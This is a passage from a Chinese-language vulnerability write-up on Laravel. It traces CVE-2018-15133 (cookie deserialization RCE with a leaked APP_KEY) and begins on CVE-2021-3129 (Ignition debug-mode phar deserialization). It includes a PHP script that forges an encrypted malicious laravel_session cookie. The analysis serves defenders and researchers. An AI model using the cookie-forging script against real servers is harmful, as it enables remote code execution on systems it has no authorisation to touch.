KEY的前提下，通过Http头部的Cookies字段，将含有恶意代码的序列化链发送给服务端，因为服务端没有对数据的内容做校验，导致序列化链在服务器上被反序列化，从而执行序列化链内部的恶意代码，导致远程代码执行。</span></p><p style="background-color: transparent;"><br/></p><p style="background-color: transparent;text-align: left;"><span style="color: rgb(63, 63, 63);font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">具体漏洞出现在<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">vendor/laravel/framework/src/illuminate/Cookie/Middle/Encrypter.php</code>的<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">decrypt()</code>函数中，该函数对<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">$payload</code>进行了一系列的解析和解密后，调用了<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">unserialize()</code>对<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">$payload[&#39;value&#39;]</code>进行反序列化。</span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.6734513274336283" data-s="300,640" style="" data-type="png" data-w="1130" src="https://wechat2rss.xlab.app/img-proxy/?k=ee4fc9f0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldficMGlySyYq7R0jkONpE5IXkQgoQebl9KBCRSpZrJP0TmTl8th45YeTtvMdg7MnIDHlI4WOJNY7aA%2F640%3Fwx_fmt%3Dpng"/></p><p style="background-color: transparent;text-align: left;"><span style="color: rgb(63, 63, 63);font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">向上追溯，在<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">vendor/laravel/framework/src/illuminate/Cookie/Middle/EncryptCookies.php</code>中<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">decrypt()</code>函数在获取到Request类对象后，循环对 Cookie的值调用decryptCookie函数进行解密以验证其合法性。</span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="1.2533875338753389" data-s="300,640" style="" data-type="png" data-w="738" src="https://wechat2rss.xlab.app/img-proxy/?k=2872a7b4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldficMGlySyYq7R0jkONpE5IXkw6P6DpO7DZ8DJ9G8icbicYyY8v9qPpru28c284ib40YVOnACuoibzeKicQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="background-color: transparent;text-align: left;"><span style="color: rgb(63, 63, 63);font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">因此我们仅需要一条可利用的反序列化链，再按照laravel Cookies的生成方式，利用获取到的APP KEY生成带有恶意反序列化链的加密Cookies，在请求服务器时带上Cookies即可完成RCE。</span></p><p style="background-color: transparent;"><br/></p><p style="background-color: transparent;text-align: left;"><span style="color: rgb(63, 63, 63);font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">laravel使用的默认cookies为<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">laravel_session</code>，通过openssl加密和base64编码后存储在客户端，解密后的内容为序列化的数组。其中iv用来加解密，value保存具体的cookies值，mac用来进行完整性的校验。</span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.25" data-s="300,640" style="" data-type="png" data-w="1132" src="https://wechat2rss.xlab.app/img-proxy/?k=c11960bc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldficMGlySyYq7R0jkONpE5IXTkjZdNCJDia6TSKHhSpryAabABK8OA0ZhBnkxJvic1VicX0P3LIKUY3ibQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="background-color: transparent;text-align: left;"><span style="color: rgb(63, 63, 63);font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">其中value字段是反序列化链的关键。在较低版本的laravel中，Cookies并没有加上hmac的校验，因此不需要费力去构造hmac，我们可以在此填入带有命令执行或者写webshell的反序列化链，完成RCE。</span></p><p style="background-color: transparent;"><br/></p><p style="background-color: transparent;text-align: left;"><span style="color: rgb(63, 63, 63);font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">下面给出cookies加密规则的脚本（需要设计好反序列化链）：</span></p></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="bash"><code><span class="code-snippet_outer"><span class="code-snippet__variable">$key</span> = <span class="code-snippet__string">&#39;base64:xxx&#39;</span>;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__variable">$key</span> = base64_decode(substr(<span class="code-snippet__variable">$key</span>, 7));</span></code><code><span class="code-snippet_outer"><span class="code-snippet__variable">$cipher</span> = <span class="code-snippet__string">&#39;AES-256-CBC&#39;</span>;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__variable">$iv</span> = \random_bytes(\openssl_cipher_iv_length(<span class="code-snippet__variable">$cipher</span>));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__variable">$value</span> = serialize(<span class="code-snippet__variable">$c</span>);</span></code><code><span class="code-snippet_outer"><span class="code-snippet__variable">$value</span> = \openssl_encrypt(<span class="code-snippet__variable">$value</span>, <span class="code-snippet__variable">$cipher</span>, base64_decode(<span class="code-snippet__variable">$key</span>), 0, <span class="code-snippet__variable">$iv</span>);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__variable">$iv</span> = base64_encode(<span class="code-snippet__variable">$iv</span>);</span></code><code><span class="code-snippet_outer"><span class="code-snippet__variable">$mac</span> = hash_hmac(<span class="code-snippet__string">&#39;sha256&#39;</span>, <span class="code-snippet__variable">$iv</span> . <span class="code-snippet__variable">$value</span>, <span class="code-snippet__variable">$key</span>);</span></code><code><span class="code-snippet_outer"><span class="code-snippet__built_in">echo</span> <span class="code-snippet__variable">$mac</span> . <span class="code-snippet__string">&#34;\n&#34;</span>;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__variable">$json</span> = json_encode(compact(<span class="code-snippet__string">&#39;iv&#39;</span>, <span class="code-snippet__string">&#39;value&#39;</span>, <span class="code-snippet__string">&#39;mac&#39;</span>));</span></code><code><span class="code-snippet_outer"><span class="code-snippet__built_in">echo</span> base64_encode(<span class="code-snippet__variable">$json</span>);</span></code></pre></section><section data-autoskip="1" style="background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;padding-right: 10px;text-align: justify;line-height: 1.75em;letter-spacing: 1.5px;font-size: 14px;color: rgb(115, 99, 90);"><p style="background-color: transparent;text-align: left;color: rgb(63, 63, 63);font-size: 16px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;display: inline !important;"><br/></p><p style="background-color: transparent;"><br/></p><p style="background-color: transparent;text-align: left;"><span style="color: rgb(63, 63, 63);font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">在Laravel 5.6.30之后，官方对CVE-2018-15133漏洞进行了修复。具体来说，Laravel在Cookies解析之前多传了一个 <code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">static::serialized()</code>值来禁止反序列化操作，同样对于 <code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">X-XSRF-TOKEN</code> 头的解析也是同样的处理。</span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.534452296819788" data-s="300,640" style="" data-type="png" data-w="1132" src="https://wechat2rss.xlab.app/img-proxy/?k=e28f3c21&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldficMGlySyYq7R0jkONpE5IX8W8ia9A2d6PMsCfINNH5ozZTnsOc0mxQOkrutiaYb3yaHUpLMez5eByA%2F640%3Fwx_fmt%3Dpng"/></p><p style="background-color: transparent;text-align: left;color: rgb(63, 63, 63);font-size: 16px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;display: inline !important;"><br/></p><p style="background-color: transparent;"><br/></p><h3 style="background-color: transparent;box-sizing: border-box;margin: 40px 10px 20px;text-align: center;color: rgb(63, 63, 63);line-height: 1.5;font-size: 19.2px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-weight: bold;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">CVE-2021-3129</span></h3><p style="background-color: transparent;text-align: left;"><span style="color: rgb(63, 63, 63);font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">今年年初爆出来的laravel debug模式下的RCE的漏洞。在 Debug 模式下，Laravel 内置的错误页面管理Ignition 组件中某些接口未严格过滤输入数据，导致可以利用 </span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">file_get_contents()</span></code><span style="color: rgb(63, 63, 63);font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"> 和 </span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">file_put_contents()</span></code><span style="color: rgb(63, 63, 63);font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"> 对laravel的日志文件进行 phar 的反序列化攻击，最终RCE。</span></p><p style="background-color: transparent;text-align: left;"><span style="color: rgb(63, 63, 63);font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">漏洞具体成因出现在<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">facade/ignition/src/Solutions/MakeViewVariableOptionalSolution</code>类中。这个类本是用来提示开发者，页面存在未定义的变量，并可以通过点击按钮（下图中<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">Make variable optional</code>按钮）的方式，来快速修复一些错误。在这里，通过在blade模板中插入一个未定义的<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">$username</code>变量，就可以触发<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">MakeViewVariableOptionalSolution</code>。</span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.6964601769911505" data-s="300,640" style="" data-type="png" data-w="1130" src="https://wechat2rss.xlab.app/img-proxy/?k=981d1934&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldficMGlySyYq7R0jkONpE5IX9bQul2ib5ddrbHC5dICj02XzgxUiblqdfYtcgtSSolTP82yNvnWVzVRw%2F640%3Fwx_fmt%3Dpng"/></p><p style="background-color: transparent;text-align: left;"><span style="color: rgb(63, 63, 63);font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">具体利用点出现在<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">MakeViewVariableOptionalSolution</code>的<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">run()</code>函数中，这里如果<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">$output</code>和<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">$parameters</code>可控的话，那么就可以实现任意文件写。<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">$output</code>是<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">makeOptional()</code>函数返回的结果，因此跟进<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">makeOptional()</code>函数。</span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.27281191806331473" data-s="300,640" style="" data-type="png" data-w="1074" src="https://wechat2rss.xlab.app/img-proxy/?k=a2dc1325&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldficMGlySyYq7R0jkONpE5IXeYWZ2zZyDbelMMYr7mibdDWSg0YQvE9fUagrxiavovUUmibHXYBBoiciaRw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;"><span style="color: rgb(63, 63, 63);font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">望文生义，<code style="background: rgb(248, 245, 236);box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">makeOptional()</code>对应于上图中<code style="background: rgb(248, 245, 236);box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">Make variable optional</code>按钮中对应的处理函数。在这里，主要体现的功能就是替换 内容中含有的<code style="background: rgb(248, 245, 236);box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">$variableName</code> 为 <code style="background: rgb(248, 245, 236);box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">$variableName ?? &#39;&#39;</code> , 然后进行<code style="background: rgb(248, 245, 236);box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">token_get_all</code>的校验，如果<code style="background: rgb(248, 245, 236);box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">token</code>校验可以通过，那么最后将返回修改后的内容<code style="background: rgb(248, 245, 236);box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">$newContent</code>。需要注意的一点是，<code style="background: rgb(248, 245, 236);box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">file_get_contents()</code> 和 <code style="background: rgb(248, 245, 236);box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">file_put_contents()</code>操作的都是同一个文件（<code style="background: rgb(248, 245, 236);box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">$parameters[‘viewFile&#39;]</code>)</span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.2777777777777778" data-s="300,640" style="" data-type="png" data-w="1134" src="https://wechat2rss.xlab.app/img-proxy/?k=f79cd492&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldficMGlySyYq7R0jkONpE5IXBsNEkmhia2CibkAic5RWYvRNibpNTictrCNY2If6PUrJ2ppFgkdKeVUJPdw%2F640%3Fwx_fmt%3Dpng"/></p><p style="background-color: transparent;text-align: left;"><span style="color: rgb(63, 63, 63);font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">因此，如果传入<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">run()</code>函数的<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">$parameters</code>可控的话，我们就拥有了一个对任意文件的读写。</span></p><p style="background-color: transparent;"><br/></p><p style="background-color: transparent;text-align: left;"><span style="color: rgb(63, 63, 63);font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">向上寻找<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">run()</code>的调用链，定位到了<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">ExecuteSolutionController</code>类。这个类满足了所有需求，调用了<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">MakeViewVariableOptionalSolution</code>类的<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">run()</code>方法的同时，<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">$parameters</code>通过<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">$request-&gt;get()</code>获取，满足了可控的需求。</span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.3909973521624007" data-s="300,640" style="" data-type="png" data-w="1133" src="https://wechat2rss.xlab.app/img-proxy/?k=c7553782&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldficMGlySyYq7R0jkONpE5IXTcFbYGLGj2DzCaHqic22vjlO4D6gpmnb5ibALX5KeFkuAG7lIicHe1QCw%2F640%3Fwx_fmt%3Dpng"/></p><p style="background-color: transparent;text-align: left;color: rgb(63, 63, 63);font-size: 16px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;display: inline !important;"><br/></p><p style="background-color: transparent;"><br/></p><p style="background-color: transparent;text-align: left;"><span style="color: rgb(63, 63, 63);font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">$solution</code>通过<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">$ExecuteSolutionRequest-&gt;getRunnableSolution()</code>获取，<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">getRunnableSolution()</code>调用了<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">getSolution()</code>。而<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">ExecuteSolutionRequest</code>继承<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">FormRequest</code>，因此<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">$solution</code>的值实际上由post请求体获得。</span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.3280282935455349" data-s="300,640" style="" data-type="png" data-w="1131" src="https://wechat2rss.xlab.app/img-proxy/?k=f7758b41&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldficMGlySyYq7R0jkONpE5IXc9dgqckSGf4Svcezy8aCDP3oTnrNFNXibJkujojqQHzaQqiaEspW8xBw%2F640%3Fwx_fmt%3Dpng"/></p><p style="background-color: transparent;text-align: left;"><span style="color: rgb(63, 63, 63);font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"></span><br/></p><p style="background-color: transparent;text-align: left;"><span style="color: rgb(63, 63, 63);font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">最后，漏洞触发点的路由定义在</span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color 